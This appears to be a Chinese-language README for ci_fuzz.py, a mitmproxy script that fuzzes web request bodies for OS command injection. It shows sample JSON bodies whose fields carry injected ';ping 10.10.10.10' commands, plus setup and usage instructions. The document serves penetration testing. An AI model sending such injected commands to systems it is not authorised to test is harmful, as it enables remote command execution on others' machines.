描述:
该脚本用于模糊测试命令注入漏洞,导致远程命令执行。
类似的 OWASP 漏洞在此处有说明 --> https://www.owasp.org/index.php/Command_Injection
该脚本会尝试通过向 POST/PUT 请求体中每个值注入操作系统命令来执行命令。
检测执行结果需要借助其他工具,例如监听目标操作系统上的 Web/ICMP 流量或监视目录等。
例如,如果脚本观察到用户执行了一次 POST,请求体为 {"webfunction": "settime", "hour": "10", "minute": "00"}
脚本将生成 5 个 POST 请求:
1) 原始 POST(原样)
{"webfunction": "settime", "hour": "10", "minute": "00"}
2) 对第一个值进行命令注入
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
3) 对第二个值进行命令注入
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
4) 对第三个值进行命令注入
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5) 一个清理用的 POST,将变量恢复为原始值
{"webfunction": "settime", "hour": "10", "minute": "00"}
如果 payload 被执行,攻击者将收到一个 ICMP ping 包。在本例中,Web 应用在设置系统时间时存在命令注入/执行漏洞。
前提条件:
- mitmproxy 3.0.0+
# 使用 "Virtualenv" 方法运行 mitmproxy 3.0.0+(即:你的发行版不支持 3.0.0+ 二进制包)
git clone https://github.com/mitmproxy/mitmproxy.git
# 按照此处 "Development setup" 说明操作 --> https://github.com/mitmproxy/mitmproxy (类似下面的步骤)
apt-get install python3-venv
cd mitmproxy
./dev.sh # 如果报错缺少 python.h 头文件,尝试 apt-get install python3-dev
# 确认 mitmproxy 版本为 3.0.0+
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
安装:
# 下载 ci_fuzz.py
git clone https://github.com/mvdevnull/ci_fuzz.git
使用示例:
* 在 ci_fuzz.py 的配置部分设置变量
1) * 运行 mitmweb,使用 ci_fuzz.py 脚本,监听 localhost 端口 7777
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2) * 运行 mitmweb,使用 ci_fuzz.py 脚本,同上,并向上游转发至本地 GUI 代理(如 Burp)
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py